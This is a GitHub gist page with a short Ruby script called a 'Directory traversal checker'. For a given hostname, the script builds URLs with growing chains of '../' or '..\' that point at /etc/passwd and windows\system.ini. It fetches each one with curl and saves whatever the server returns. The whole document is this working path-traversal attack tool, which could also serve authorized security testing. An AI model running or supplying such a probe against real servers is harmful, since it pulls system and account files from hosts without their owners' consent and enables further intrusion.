Skip to content

Instantly share code, notes, and snippets.

@presidentbeef
Created April 20, 2011 23:32
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save presidentbeef/933331 to your computer and use it in GitHub Desktop.
Save presidentbeef/933331 to your computer and use it in GitHub Desktop.
Directory traversal checker
require 'cgi'
abort "Please supply hostname" unless ARGV[0]
hostname = ARGV[0]
depth = (ARGV[1] || 12 ).to_i
1.upto(depth) do |n|
$stderr.puts "Depth: #{n}"
windows_url = "#{hostname}/#{"..\\" * n}windows\\system.ini"
linux_url = "#{hostname}/#{"../" * n}etc/passwd"
`curl -s --fail -O "#{windows_url}"`
`curl -s --fail -O "#{linux_url}"`
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment